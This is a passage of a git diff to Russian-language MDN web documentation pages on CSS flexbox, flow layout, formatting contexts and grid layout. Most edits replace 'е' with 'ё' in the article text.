-<p>Если наш контейнер шириной 500 пикселей содержит три элемента шириной 100 пикселей каждый, для их размещения нам потребуется пространство шириной в 300 пикселей. Остается 200 пикселей свободного пространства. Если мы не изменим исходные значения этих свойств, флексбокс разместит это пространство за последним элементом.</p> +<p>Если наш контейнер шириной 500 пикселей содержит три элемента шириной 100 пикселей каждый, для их размещения нам потребуется пространство шириной в 300 пикселей. Остаётся 200 пикселей свободного пространства. Если мы не изменим исходные значения этих свойств, флексбокс разместит это пространство за последним элементом.</p> <p><img alt="This flex container has available space after laying out the items." src="https://mdn.mozillademos.org/files/15620/Basics7.png" style="display: block; height: 198px; margin: 0px auto; width: 528px;"></p> @@ -131,7 +131,7 @@ translation_of: Web/CSS/CSS_Flexible_Box_Layout/Basic_Concepts_of_Flexbox <h3 id="Свойство_flex-basis">Свойство <code>flex-basis</code></h3> -<p>Свойство <code>flex-basis</code> определяет размер доступного пространства элемента. Начальное значение этого свойства - <code>auto </code>- в этом случае браузер проверяет, имеют ли элементы размер. В приведенном выше примере все элементы имеют ширину 100px, и этот размер читается браузером как <code>flex-basis</code>.<br> +<p>Свойство <code>flex-basis</code> определяет размер доступного пространства элемента. Начальное значение этого свойства - <code>auto </code>- в этом случае браузер проверяет, имеют ли элементы размер. В приведённом выше примере все элементы имеют ширину 100px, и этот размер читается браузером как <code>flex-basis</code>.<br> Если элементы не имеют размера, то для размера <code>flex-basis</code> используется размер контента. Вот почему, когда мы просто объявляем <code>display: flex</code> на родительском элементе для создания flex-элементов, все элементы перемещаются в ряд и занимают столько места, сколько им нужно для отображения их содержимого.</p> <h3 id="Свойство_flex-grow">Свойство <code>flex-grow</code></h3> diff --git a/files/ru/web/css/css_flexible_box_layout/mastering_wrapping_of_flex_items/index.html b/files/ru/web/css/css_flexible_box_layout/mastering_wrapping_of_flex_items/index.html index 6a31a4a6ea..92c797bcf4 100644 --- a/files/ru/web/css/css_flexible_box_layout/mastering_wrapping_of_flex_items/index.html +++ b/files/ru/web/css/css_flexible_box_layout/mastering_wrapping_of_flex_items/index.html @@ -72,24 +72,24 @@ translation_of: Web/CSS/CSS_Flexible_Box_Layout/Mastering_Wrapping_of_Flex_Items <p>В спецификации флексбоксов подробно рассказано, что должно происходить, когда элементы должны сворачиваться при установке параметра <code>visibility: collapse</code> на элементе. Смотрим документацию MDN для параметра {{cssxref("visibility")}}. Спецификация описывает поведение так:</p> <blockquote> -<p>“Установка visibility:collapse на flex элементе должна сворачивать этот flex элемент. Этот эффект должен быть таким же, как при установке свойства visibility:collapse на элементе table-row или table-column: свёрнутый flex элемент полностью удаляется из процесса рендеринга, но оставляет за собой некую "распорку", которая сохраняет стабильным поперечный размер flex-строки. Таким образом, если флекс-контейнер имеет только одну строку, динамическое сворачивание или разворачивание элементов может изменять основной размер флекс-контейнера, но должно быть гарантированно, что не будет изменяться поперечный размер и не будет приводить к эффекту "виляния" всего макета страницы. Однако процесс обертывания flex-строки выполняется после процедуры сворачивания, поэтому поперечный размер flex-контейнера с несколькими строками может и изменяться.” - <a href="https://www.w3.org/TR/css-flexbox-1/#visibility-collapse">Сворачивание элементов</a></p> +<p>“Установка visibility:collapse на flex элементе должна сворачивать этот flex элемент. Этот эффект должен быть таким же, как при установке свойства visibility:collapse на элементе table-row или table-column: свёрнутый flex элемент полностью удаляется из процесса рендеринга, но оставляет за собой некую "распорку", которая сохраняет стабильным поперечный размер flex-строки. Таким образом, если флекс-контейнер имеет только одну строку, динамическое сворачивание или разворачивание элементов может изменять основной размер флекс-контейнера, но должно быть гарантированно, что не будет изменяться поперечный размер и не будет приводить к эффекту "виляния" всего макета страницы. Однако процесс обёртывания flex-строки выполняется после процедуры сворачивания, поэтому поперечный размер flex-контейнера с несколькими строками может и изменяться.” - <a href="https://www.w3.org/TR/css-flexbox-1/#visibility-collapse">Сворачивание элементов</a></p> </blockquote> <p>Понимание этого поведения полезно, если вы планируете использовать яваскрипт на флекс-элементах и с его помощью прятать или показывать контент. Пример в спецификации демонстрирует один такой шаблон.</p> -<p>В следующем живом примере у нас показан флекс-контейнер со параметров "перенос" в состоянии "не переносить". Третий элемент имеет контента больше, чем другие элементы. И у него установлен параметр <code>visibility: collapse</code>. Следовательно он имеет некую "распорку", которая удерживает ту высоту, которая позволит показать этот элемент. Если Вы удалите <code>visibility: collapse</code> из CSS или измените значение на <code>visible</code>, то вы увидите, что элемент исчезнет, а пространство перераспределится между не свернутыми элементами; высота флекс-контейнера при этом не изменится.</p> +<p>В следующем живом примере у нас показан флекс-контейнер со параметров "перенос" в состоянии "не переносить". Третий элемент имеет контента больше, чем другие элементы. И у него установлен параметр <code>visibility: collapse</code>. Следовательно он имеет некую "распорку", которая удерживает ту высоту, которая позволит показать этот элемент. Если Вы удалите <code>visibility: collapse</code> из CSS или измените значение на <code>visible</code>, то вы увидите, что элемент исчезнет, а пространство перераспределится между не свёрнутыми элементами; высота флекс-контейнера при этом не изменится.</p> <div class="note"> -<p>Примечание. Используйте Firefox для двух приведенных ниже примеров, поскольку Chrome и Safari рассматривают свёрнутый элемент как скрытый.</p> +<p>Примечание. Используйте Firefox для двух приведённых ниже примеров, поскольку Chrome и Safari рассматривают свёрнутый элемент как скрытый.</p> </div> <p>{{EmbedGHLiveSample("css-examples/flexbox/wrapping/visibility-collapse.html", '100%', 650)}}</p> -<p>Когда Вы работаете с многострочным флекс-контейнером, Вы должны помнить, что процесс обёртывания происходит <em>после</em> сворачивания. Таким образом, браузер должен повторно выполнить процедуру оборачивания, чтобы учесть новое пространство, оставленное свернутым элементом в главной оси.</p> +<p>Когда Вы работаете с многострочным флекс-контейнером, Вы должны помнить, что процесс обёртывания происходит <em>после</em> сворачивания. Таким образом, браузер должен повторно выполнить процедуру оборачивания, чтобы учесть новое пространство, оставленное свёрнутым элементом в главной оси.</p> <p>Это значит, что элементы могут оказаться на строке, отличной от той, на которой они начинались. В случае, если какой-то элемент отображается и скрывается, это может привести к тому, что элементы окажутся в другом ряду.</p> -<p>Я создал пример такого поведения в следующем живом примере. Вы можете увидеть, как растяжение меняет строку в зависимости от расположения свернутого элемента. Если вы добавите больше контента ко второму элементу, он изменит строку, как только станет достаточно длинным. Эта верхняя строка становится такой же высокой, как одна строка текста.</p> +<p>Я создал пример такого поведения в следующем живом примере. Вы можете увидеть, как растяжение меняет строку в зависимости от расположения свёрнутого элемента. Если вы добавите больше контента ко второму элементу, он изменит строку, как только станет достаточно длинным. Эта верхняя строка становится такой же высокой, как одна строка текста.</p> <p>{{EmbedGHLiveSample("css-examples/flexbox/wrapping/wrapped-visibility-collapse.html", '100%', 750)}}</p> @@ -97,4 +97,4 @@ translation_of: Web/CSS/CSS_Flexible_Box_Layout/Mastering_Wrapping_of_Flex_Items <h3 id="Разница_между_visibility_hidden_и_display_none">Разница между <code>visibility: hidden</code> и <code>display: none</code></h3> -<p>Когда Вы устанавливаете элементу <code>display: none</code> чтобы его спрятать, то этот элемент удаляется из структуры страницы. На практике это означает, что счетчики игнорируют его, а такие вещи, как transitions (переходы), не запускаются. Использование <code>visibility: hidden</code> сохраняет элемент в структуре форматирования, что полезно, поскольку он по-прежнему ведет себя так, как если бы он был частью макета, даже если пользователь не может его увидеть.</p> +<p>Когда Вы устанавливаете элементу <code>display: none</code> чтобы его спрятать, то этот элемент удаляется из структуры страницы. На практике это означает, что счётчики игнорируют его, а такие вещи, как transitions (переходы), не запускаются. Использование <code>visibility: hidden</code> сохраняет элемент в структуре форматирования, что полезно, поскольку он по-прежнему ведёт себя так, как если бы он был частью макета, даже если пользователь не может его увидеть.</p> diff --git a/files/ru/web/css/css_flow_layout/index.html b/files/ru/web/css/css_flow_layout/index.html index 80fddc9dab..3863c2862e 100644 --- a/files/ru/web/css/css_flow_layout/index.html +++ b/files/ru/web/css/css_flow_layout/index.html @@ -11,7 +11,7 @@ translation_of: Web/CSS/CSS_Flow_Layout --- <div>{{CSSRef}}</div> -<p class="summary"><em>Нормальный поток (normal flow) </em>или поточная раскладка (flow layout), это способ отображения блочных (block) и строчных (inline) элементов на странице. Сначала раскладка этих элементов происходит согласно правилам потока, после чего в нее могут быть внесены изменения, например, относительное позиционирование.</p> +<p class="summary"><em>Нормальный поток (normal flow) </em>или поточная раскладка (flow layout), это способ отображения блочных (block) и строчных (inline) элементов на странице. Сначала раскладка этих элементов происходит согласно правилам потока, после чего в неё могут быть внесены изменения, например, относительное позиционирование.</p> <p class="summary">По сути поток представляется собой набор сущностей, которые работают вместе и знают друг о друге. Когда некоторая сущность <em>вынимается из потока (out of flow)</em>, то она работает независимо.</p> @@ -21,9 +21,9 @@ translation_of: Web/CSS/CSS_Flow_Layout <p>Следующий пример показывает боксы уровня блока (block level) и уровня строки (inline level). Боксы уровня блока участвуют в блочном контексте форматирования, а боксы уровня строки в строчном контексте форматирования.</p> -<p>Два элемента параграфа с зеленой границей создают боксы уровня блока, отображающиеся один под другим.</p> +<p>Два элемента параграфа с зелёной границей создают боксы уровня блока, отображающиеся один под другим.</p> -<p>Первое предложение также содержит элемент span с голубым фоном. Он создает бокс уровня строки и, следовательно, размещается внутри предложения.</p> +<p>Первое предложение также содержит элемент span с голубым фоном. Он создаёт бокс уровня строки и, следовательно, размещается внутри предложения.</p> <p>{{EmbedGHLiveSample("css-examples/layout/normal-flow.html", '100%', 720)}}</p> diff --git a/files/ru/web/css/css_flow_layout/intro_to_formatting_contexts/index.html b/files/ru/web/css/css_flow_layout/intro_to_formatting_contexts/index.html index aed2f568ec..13069eaa00 100644 --- a/files/ru/web/css/css_flow_layout/intro_to_formatting_contexts/index.html +++ b/files/ru/web/css/css_flow_layout/intro_to_formatting_contexts/index.html @@ -8,7 +8,7 @@ original_slug: Web/CSS/CSS_Flow_Layout/Введение_в_контексты_ф <p class="summary"><span class="seoSummary">В этой статье представлена концепция контекстов форматирования (formatting context). Существует несколько типов контекстов форматирования, например, блочный контекст форматирования (block formatting context, BFC), строчный контекст форматирования (inline formatting context), флексовый контекст форматирования (flex formatting context). В статье даны основы того, как они себя ведут, и как вы можете использовать это поведение.</span></p> -<p>Всё на странице является частью <strong>контекста форматирования</strong> (formatting context), который представляет собой область, в которой происходит раскладка контента по определенным правилам. <strong>Блочный контекст форматирования</strong> (block formatting context, BFC) делает раскладку своих дочерних элементов в соответствии с правилами блочной раскладки, <strong>флексовый контекст форматирования</strong> (flex formatting context) раскладывает свои дочерние элементы как {{Glossary("flex item", "флекс-элементы")}} и т.д. Каждый контекст форматирования использует свои правила раскладки.</p> +<p>Всё на странице является частью <strong>контекста форматирования</strong> (formatting context), который представляет собой область, в которой происходит раскладка контента по определённым правилам. <strong>Блочный контекст форматирования</strong> (block formatting context, BFC) делает раскладку своих дочерних элементов в соответствии с правилами блочной раскладки, <strong>флексовый контекст форматирования</strong> (flex formatting context) раскладывает свои дочерние элементы как {{Glossary("flex item", "флекс-элементы")}} и т.д. Каждый контекст форматирования использует свои правила раскладки.</p> <h2 id="Блочные_контексты_форматирования">Блочные контексты форматирования</h2> @@ -16,9 +16,9 @@ original_slug: Web/CSS/CSS_Flow_Layout/Введение_в_контексты_ф <h3 id="Создание_нового_блочного_контекста_форматирования">Создание нового блочного контекста форматирования</h3> -<p>Элемент {{HTMLElement("html")}} не единственный, кто может создавать блочный контекст форматирования. Любой элемент, который по умолчанию представляет собой блок, также создает блочный контекст форматирования для своих потомков. Кроме того, существуют свойства CSS, которые могут заставить элемент создавать БКФ, даже если он не делает этого по умолчанию. Это может быть полезным поскольку новый БКФ будет вести себя во многом как внешний документа, в том смысле, что он создает новую мини-раскладку в основной раскладке. БКФ содержит все внутри себя, {{cssxref("float")}} and {{cssxref("clear")}} применяются только к элементам, которые находится в том же контексте форматирования, также как и поля (margings) схлопываются только между элементами одного и того же контекста форматирования.</p> +<p>Элемент {{HTMLElement("html")}} не единственный, кто может создавать блочный контекст форматирования. Любой элемент, который по умолчанию представляет собой блок, также создаёт блочный контекст форматирования для своих потомков. Кроме того, существуют свойства CSS, которые могут заставить элемент создавать БКФ, даже если он не делает этого по умолчанию. Это может быть полезным поскольку новый БКФ будет вести себя во многом как внешний документа, в том смысле, что он создаёт новую мини-раскладку в основной раскладке. БКФ содержит все внутри себя, {{cssxref("float")}} and {{cssxref("clear")}} применяются только к элементам, которые находится в том же контексте форматирования, также как и поля (margings) схлопываются только между элементами одного и того же контекста форматирования.</p> -<p>Кроме корневого элемента ({{HTMLElement("html")}}) новый БКФ создается в следующих случаях:</p> +<p>Кроме корневого элемента ({{HTMLElement("html")}}) новый БКФ создаётся в следующих случаях:</p> <ul> <li>плавающие элементы ({{cssxref("float", "float: left", "#left")}} или {{cssxref("float", "float: right", "#right")}});</li> diff --git a/files/ru/web/css/css_grid_layout/basic_concepts_of_grid_layout/index.html b/files/ru/web/css/css_grid_layout/basic_concepts_of_grid_layout/index.html index a616e84382..964f414675 100644 --- a/files/ru/web/css/css_grid_layout/basic_concepts_of_grid_layout/index.html +++ b/files/ru/web/css/css_grid_layout/basic_concepts_of_grid_layout/index.html @@ -15,7 +15,7 @@ translation_of: Web/CSS/CSS_Grid_Layout/Basic_Concepts_of_Grid_Layout <h3 id="Расположение_элемента">Расположение элемента</h3> -<p>Вы можете размещать элементы в заданном месте Grid, используя номера строк, имена или путем привязки к области Grid. Grid также содержит алгоритм управления размещением элементов, не имеющих явной позиции в Grid.</p> +<p>Вы можете размещать элементы в заданном месте Grid, используя номера строк, имена или путём привязки к области Grid. Grid также содержит алгоритм управления размещением элементов, не имеющих явной позиции в Grid.</p> <h3 id="Создание_дополнительных_полос_для_хранения_контента">Создание дополнительных полос для хранения контента</h3> @@ -33,7 +33,7 @@ translation_of: Web/CSS/CSS_Grid_Layout/Basic_Concepts_of_Grid_Layout <h2 id="Grid_контейнер">Grid контейнер</h2> -<p>Мы создаем<em> grid контейнер</em>, объявляя<strong> display: grid </strong>или <strong>display: inline-grid </strong>на элементе. Как только мы это сделаем, <em>все прямые дети</em> этого элемента станут <em>элементами сетки</em>.</p> +<p>Мы создаём<em> grid контейнер</em>, объявляя<strong> display: grid </strong>или <strong>display: inline-grid </strong>на элементе. Как только мы это сделаем, <em>все прямые дети</em> этого элемента станут <em>элементами сетки</em>.</p> <p>В этом примере есть div, содержащий класс wrapper с пятью потомками</p> @@ -184,7 +184,7 @@ translation_of: Web/CSS/CSS_Grid_Layout/Basic_Concepts_of_Grid_Layout <p>{{ EmbedLiveSample('fr_unit_ls', '220', '140') }}</p> </div> -<p>В следующем примере мы создаем грид с треком в <code>2fr</code> и двумя треками по <code>1fr</code>. Доступное пространство разбивается на четыре части. Две части занимает первый трек, и две части - два оставшихся. </p> +<p>В следующем примере мы создаём грид с треком в <code>2fr</code> и двумя треками по <code>1fr</code>. Доступное пространство разбивается на четыре части. Две части занимает первый трек, и две части - два оставшихся. </p> <pre class="brush: css notranslate">.wrapper { display: grid; @@ -202,7 +202,7 @@ translation_of: Web/CSS/CSS_Grid_Layout/Basic_Concepts_of_Grid_Layout <h3 id="Задание_треков_с_помощью_нотации_repeat">Задание треков с помощью нотации <code>repeat()</code></h3> -<p>В огромных гридах с большим количеством треков можно использовать нотацию <code>repeat()</code> , чтобы повторить структуру треков или ее часть. Например, такое задание грида:</p> +<p>В огромных гридах с большим количеством треков можно использовать нотацию <code>repeat()</code> , чтобы повторить структуру треков или её часть. Например, такое задание грида:</p> <pre class="brush: css notranslate">.wrapper { display: grid; @@ -218,7 +218,7 @@ translation_of: Web/CSS/CSS_Grid_Layout/Basic_Concepts_of_Grid_Layout } </pre> -<p>Repeat-нотацию можно использовать как часть списка треков. В следующем примере создается грид с начальным треком шириной в 20 пикселей, шестью треками шириной в 1fr и последним треком шириной в 20 пикселей.</p> +<p>Repeat-нотацию можно использовать как часть списка треков. В следующем примере создаётся грид с начальным треком шириной в 20 пикселей, шестью треками шириной в 1fr и последним треком шириной в 20 пикселей.</p> <pre class="brush: css notranslate">.wrapper { display: grid; @@ -226,7 +226,7 @@ translation_of: Web/CSS/CSS_Grid_Layout/Basic_Concepts_of_Grid_Layout } </pre> -<p>Repeat-нотация в качестве аргумента принимает список треков, поэтому с ее помощью можно создавать структуру из повторяющихся треков. В следующем примере грид состоит из 10 треков: за треком шириной <code>1fr</code> следует трек шириной <code>2fr</code> , и все это дело повторяется пять раз.</p> +<p>Repeat-нотация в качестве аргумента принимает список треков, поэтому с её помощью можно создавать структуру из повторяющихся треков. В следующем примере грид состоит из 10 треков: за треком шириной <code>1fr</code> следует трек шириной <code>2fr</code> , и все это дело повторяется пять раз.</p> <pre class="brush: css notranslate">.wrapper { display: grid; @@ -236,11 +236,11 @@ translation_of: Web/CSS/CSS_Grid_Layout/Basic_Concepts_of_Grid_Layout <h3 id="Явный_и_неявный_грид">Явный и неявный грид</h3> -<p>Во всех примерах выше мы создавали наши колоночные (столбцовые) треки с помощью свойства {{cssxref("grid-template-columns")}}, в то время как грид самостоятельно создавал строки (ряды, полосы) для любого контента там, где это требовалось. Эти строки создавались в неявном гриде. Явный грид состоит из строк и колонок, которые мы определяем с помощью {{cssxref("grid-template-columns")}} и {{cssxref("grid-template-rows")}}. Если Вы размещаете что-нибудь вне рамок определенного данными свойствами грида или в зависимости от контента требуется большее количество грид-треков, грид создает строки и колонки в виде неявного грида. Размер подобных треков по умолчанию задается автоматически в зависимости от находящегося в них контента.</p> +<p>Во всех примерах выше мы создавали наши колоночные (столбцовые) треки с помощью свойства {{cssxref("grid-template-columns")}}, в то время как грид самостоятельно создавал строки (ряды, полосы) для любого контента там, где это требовалось. Эти строки создавались в неявном гриде. Явный грид состоит из строк и колонок, которые мы определяем с помощью {{cssxref("grid-template-columns")}} и {{cssxref("grid-template-rows")}}. Если Вы размещаете что-нибудь вне рамок определённого данными свойствами грида или в зависимости от контента требуется большее количество грид-треков, грид создаёт строки и колонки в виде неявного грида. Размер подобных треков по умолчанию задаётся автоматически в зависимости от находящегося в них контента.</p> <p>Вы также можете задать размер треков, создаваемых в виде неявного грида с помощью свойств {{cssxref("grid-auto-rows")}} и {{cssxref("grid-auto-columns")}}.</p> -<p>В примере ниже мы задаем <code>grid-auto-rows</code> , чтобы треки, создаваемые в неявном гриде были высотой 200 пикселей.</p> +<p>В примере ниже мы задаём <code>grid-auto-rows</code> , чтобы треки, создаваемые в неявном гриде были высотой 200 пикселей.</p> <pre class="brush: html notranslate"><div class="wrapper"> <div>One</div> @@ -345,7 +345,7 @@ translation_of: Web/CSS/CSS_Grid_Layout/Basic_Concepts_of_Grid_Layout <p>В дальнейшем мы детально рассмотрим размещение элементов с помощью линий, а пока остановимся на простом способе. При размещении элемента мы ссылаемся именно на линию, а не на трек. </p> -<p>В следующем примере мы размещаем первые два элемента в нашем гриде из трех колоночных треков с помощью свойств {{cssxref("grid-column-start")}}, {{cssxref("grid-column-end")}}, {{cssxref("grid-row-start")}} и {{cssxref("grid-row-end")}}. Поскольку режим написания слева направо, первый элемент размещается, начиная с колоночной линии 1, и занимает пространство до колоночной линии 4, которая в нашем случае - самая правая линия грида. Наш элемент начинается со строчной линии 1 и заканчивается на строчной линии 3, таким образом занимая два строчных трека.</p> +<p>В следующем примере мы размещаем первые два элемента в нашем гриде из трёх колоночных треков с помощью свойств {{cssxref("grid-column-start")}}, {{cssxref("grid-column-end")}}, {{cssxref("grid-row-start")}} и {{cssxref("grid-row-end")}}. Поскольку режим написания слева направо, первый элемент размещается, начиная с колоночной линии 1, и занимает пространство до колоночной линии 4, которая в нашем случае - самая правая линия грида. Наш элемент начинается со строчной линии 1 и заканчивается на строчной линии 3, таким образом занимая два строчных трека.</p> <p>Второй элемент начинается с колоночной линии 1 и занимает один трек. Это поведение по умолчанию, поэтому не нужно задавать конечную линию. Элемент также занимает два строчных трека - со строчной линии 3 до строчной линии 5. Остальные элементы самостоятельно размещаются в пустых пространствах грида. </p> @@ -405,19 +405,19 @@ translation_of: Web/CSS/CSS_Grid_Layout/Basic_Concepts_of_Grid_Layout <h2 id="Grid-ячейки">Grid-ячейки</h2> -<p>Грид-ячейка (<em>grid cell)</em> - наименьшая единица измерения грида, концептуально похожая на ячейку таблицы. Как мы видели в предыдущих примерах, едва грид определен для родительского элемента, дочерние элементы автоматически размещаются в каждой ячейке нашего заданного грида. На рисунке ниже первая ячейка грида выделена цветом.</p> +<p>Грид-ячейка (<em>grid cell)</em> - наименьшая единица измерения грида, концептуально похожая на ячейку таблицы. Как мы видели в предыдущих примерах, едва грид определён для родительского элемента, дочерние элементы автоматически размещаются в каждой ячейке нашего заданного грида. На рисунке ниже первая ячейка грида выделена цветом.</p> <p><img alt="The first cell of the grid highlighted" src="https://mdn.mozillademos.org/files/14643/1_Grid_Cell.png" style="height: 233px; width: 350px;"></p> <h2 id="Grid-области">Grid-области</h2> -<p>Элементы могут занимать одну или несколько ячеек внутри строки или колонки, и подобное поведение создает грид-область (<em>grid area)</em>. Грид-области должны быть перпендикулярными, - невозможно создать область, например, в форме буквы L. Выделенная цветом грид-область на рисунке ниже занимает два строчных трека и два колоночных. </p> +<p>Элементы могут занимать одну или несколько ячеек внутри строки или колонки, и подобное поведение создаёт грид-область (<em>grid area)</em>. Грид-области должны быть перпендикулярными, - невозможно создать область, например, в форме буквы L. Выделенная цветом грид-область на рисунке ниже занимает два строчных трека и два колоночных. </p> <p><img alt="A grid area" src="https://mdn.mozillademos.org/files/14645/1_Grid_Area.png" style="height: 238px; width: 357px;"></p> <h2 id="Зазоры_Gutters">Зазоры (Gutters)</h2> -<p><em>Зазоры (Gutters)</em> или аллеи (<em>alleys)</em> между грид-ячейками можно создать с помощью свойств {{cssxref("grid-column-gap")}} и {{cssxref("grid-row-gap")}}, или с помощью сокращенного свойства {{cssxref("grid-gap")}}. В примере ниже мы создаем зазор в 10 пикселей между колонками и в <code>1em</code> между строками.</p> +<p><em>Зазоры (Gutters)</em> или аллеи (<em>alleys)</em> между грид-ячейками можно создать с помощью свойств {{cssxref("grid-column-gap")}} и {{cssxref("grid-row-gap")}}, или с помощью сокращённого свойства {{cssxref("grid-gap")}}. В примере ниже мы создаём зазор в 10 пикселей между колонками и в <code>1em</code> между строками.</p> <pre class="brush: css notranslate">.wrapper { display: grid; @@ -465,7 +465,7 @@ translation_of: Web/CSS/CSS_Grid_Layout/Basic_Concepts_of_Grid_Layout <h2 id="Вложенные_гриды">Вложенные гриды</h2> -<p>Грид-элемент может быть и грид-контейнером. В следующем примере у нас есть созданный ранее трехколоночный грид, в котором размещены два элемента. В данном случае у первого элемента есть несколько подэлементов. Поскольку эти подэлементы не являются прямыми потомками грида, они не участвуют в структуре грида и отображаются в соответствии с нормальным потоком документа.</p> +<p>Грид-элемент может быть и грид-контейнером. В следующем примере у нас есть созданный ранее трёхколоночный грид, в котором размещены два элемента. В данном случае у первого элемента есть несколько подэлементов. Поскольку эти подэлементы не являются прямыми потомками грида, они не участвуют в структуре грида и отображаются в соответствии с нормальным потоком документа.</p> <div id="nesting"> <pre class="brush: html notranslate"><div class="wrapper"> @@ -483,7 +483,7 @@ translation_of: Web/CSS/CSS_Grid_Layout/Basic_Concepts_of_Grid_Layout <p><img alt="Nested grid in flow" src="https://mdn.mozillademos.org/files/14641/1_Nested_Grids_in_flow.png" style="height: 512px; width: 900px;"></p> -<p>Если мы задаем для <code>box1</code> значение <code>display: grid</code> , то можем написать для него структуру треков, и он тоже станет гридом, а его дочерние элементы будут размещены внутри этого нового грида.</p> +<p>Если мы задаём для <code>box1</code> значение <code>display: grid</code> , то можем написать для него структуру треков, и он тоже станет гридом, а его дочерние элементы будут размещены внутри этого нового грида.</p> <pre class="brush: css notranslate">.box1 { grid-column-start: 1; @@ -531,7 +531,7 @@ translation_of: Web/CSS/CSS_Grid_Layout/Basic_Concepts_of_Grid_Layout <p>Примечание. Эта функция поставляется в браузере Firefox 71, который в настоящее время является единственным браузером для реализации subgrid.</p> </div> -<p>В приведенном выше примере мы можем отредактировать вложенный грид, изменив <code>grid-template-columns: repeat(3, 1fr)</code>, на <code>grid-template-columns: subgrid</code>. Вложенный грид будет использовать родительскую структуру треков, чтобы разместить свои дочерние элементы.</p> +<p>В приведённом выше примере мы можем отредактировать вложенный грид, изменив <code>grid-template-columns: repeat(3, 1fr)</code>, на <code>grid-template-columns: subgrid</code>. Вложенный грид будет использовать родительскую структуру треков, чтобы разместить свои дочерние элементы.</p> <pre class="brush: css notranslate">.box1 { grid-column-start: 1; @@ -545,7 +545,7 @@ translation_of: Web/CSS/CSS_Grid_Layout/Basic_Concepts_of_Grid_Layout <h2 id="Размещение_элементов_с_помощью_z-index">Размещение элементов с помощью <code>z-index</code></h2> -<p>Несколько грид-элементов могут занимать одну и ту же ячейку. Если вернуться к нашему примеру с элементами, размещенными по номерам линий, мы можем сделать так, чтобы два элемента перекрывались:</p> +<p>Несколько грид-элементов могут занимать одну и ту же ячейку. Если вернуться к нашему примеру с элементами, размещёнными по номерам линий, мы можем сделать так, чтобы два элемента перекрывались:</p> <div id="l_ex"> <pre class="brush: html notranslate"><div class="wrapper"> diff --git a/files/ru/web/css/css_grid_layout/box_alignment_in_css_grid_layout/index.html b/files/ru/web/css/css_grid_layout/box_alignment_in_css_grid_layout/index.html index 8ea1b8d352..80d1ad38af 100644 --- a/files/ru/web/css/css_grid_layout/box_alignment_in_css_grid_layout/index.html +++ b/files/ru/web/css/css_grid_layout/box_alignment_in_css_grid_layout/index.html @@ -5,9 +5,9 @@ translation_of: Web/CSS/CSS_Grid_Layout/Box_Alignment_in_CSS_Grid_Layout --- <p>Если вы знакомы с <a href="https://developer.mozilla.org/en-US/docs/Web/CSS/CSS_Flexible_Box_Layout">flexbox</a>, вы уже столкнулись с тем, как гибкие элементы могут быть правильно выровнены внутри контейнера flex. Эти свойства выравнивания, которые мы впервые встретили в спецификации flexbox, были перенесены в новую спецификацию под названием <a href="https://drafts.csswg.org/css-align/">Box Alignment Level 3</a>. Эта спецификация содержит подробную информацию о том, как выравнивание должно работать во всех различных методах компоновки.</p> -<p>Каждый метод макета, который реализует выравнивание ящиков, будет иметь некоторые отличия из-за того, что каждый метод имеет разные функции и ограничения (и унаследованное поведение), что делает невозможным выравнивание точно таким же образом по всем направлениям. Спецификация Box Alignment содержит подробную информацию для каждого метода, однако вы были бы разочарованы, если бы попытались выполнить выравнивание по многим методам прямо сейчас, поскольку поддержка браузера еще не существует. Там, где у нас есть поддержка браузера для свойств выравнивания и распределения пространства из спецификации Box Alignment, в grid макета.</p> +<p>Каждый метод макета, который реализует выравнивание ящиков, будет иметь некоторые отличия из-за того, что каждый метод имеет разные функции и ограничения (и унаследованное поведение), что делает невозможным выравнивание точно таким же образом по всем направлениям. Спецификация Box Alignment содержит подробную информацию для каждого метода, однако вы были бы разочарованы, если бы попытались выполнить выравнивание по многим методам прямо сейчас, поскольку поддержка браузера ещё не существует. Там, где у нас есть поддержка браузера для свойств выравнивания и распределения пространства из спецификации Box Alignment, в grid макета.</p> -<p>В этом руководстве представлены демонстрации того, как работает выравнивание ячеек в макете. Вы увидите много общего в том, как эти свойства и ценности работают в flexbox. Из-за того, что сетка двумерна и однобочечна, существует несколько небольших различий, за которыми вы должны следить. Поэтому мы начнем с рассмотрения двух осей, с которыми мы сталкиваемся при выравнивании объектов в сетке.</p> +<p>В этом руководстве представлены демонстрации того, как работает выравнивание ячеек в макете. Вы увидите много общего в том, как эти свойства и ценности работают в flexbox. Из-за того, что сетка двумерна и однобочечна, существует несколько небольших различий, за которыми вы должны следить. Поэтому мы начнём с рассмотрения двух осей, с которыми мы сталкиваемся при выравнивании объектов в сетке.</p> <h2 id="Две_оси_grid_layout">Две оси grid layout</h2> @@ -100,7 +100,7 @@ translation_of: Web/CSS/CSS_Grid_Layout/Box_Alignment_in_CSS_Grid_Layout <p>Свойство {{cssxref ("align-items")}} устанавливает свойство {{cssxref ("align-self")}} для всех дочерних элементов сетки. Это означает, что вы можете установить свойство индивидуально, используя <code>align-self</code> по элементу сетки.</p> -<p>В следующем примере я использую свойство <code>align-self</code>, чтобы продемонстрировать различные значения выравнивания. В первой области отображается поведение по умолчанию для выравнивания, которое должно растягиваться. Второй элемент имеет значение самоограничения <code>start</code>, третий <code>end</code> и четвертый <code>center</code>.</p> +<p>В следующем примере я использую свойство <code>align-self</code>, чтобы продемонстрировать различные значения выравнивания. В первой области отображается поведение по умолчанию для выравнивания, которое должно растягиваться. Второй элемент имеет значение самоограничения <code>start</code>, третий <code>end</code> и четвёртый <code>center</code>.</p> <div id="alignment_2"> <div class="hidden"> @@ -165,7 +165,7 @@ translation_of: Web/CSS/CSS_Grid_Layout/Box_Alignment_in_CSS_Grid_Layout <p>Спецификация указывает, что поведение по умолчанию в {{cssxref ("align-self")}} должно растягиваться, за исключением элементов, которые имеют внутреннее соотношение сторон, в этом случае они ведут себя как <code>start</code>. Причиной этого является то, что если элементы с соотношением сторон настроены на растяжение, это значение по умолчанию будет искажать их.</p> -<p>Это поведение было уточнено в спецификации, при этом браузеры еще не реализовали правильное поведение. Пока это не произойдет, вы можете убедиться, что элементы не растягиваются, например изображения, которые являются прямыми дочерними элементами сетки, путем установки {{cssxref ("align-self")}} и {{cssxref ("justify-self") }} <code>start</code>. Это будет имитировать правильное поведение после его реализации.</p> +<p>Это поведение было уточнено в спецификации, при этом браузеры ещё не реализовали правильное поведение. Пока это не произойдёт, вы можете убедиться, что элементы не растягиваются, например изображения, которые являются прямыми дочерними элементами сетки, путём установки {{cssxref ("align-self")}} и {{cssxref ("justify-self") }} <code>start</code>. Это будет имитировать правильное поведение после его реализации.</p> <h2 id="Justifying_Items_on_the_Inline_or_Row_Axis">Justifying Items on the Inline or Row Axis</h2> @@ -185,7 +185,7 @@ translation_of: Web/CSS/CSS_Grid_Layout/Box_Alignment_in_CSS_Grid_Layout <p>Вы можете увидеть тот же пример, что и для 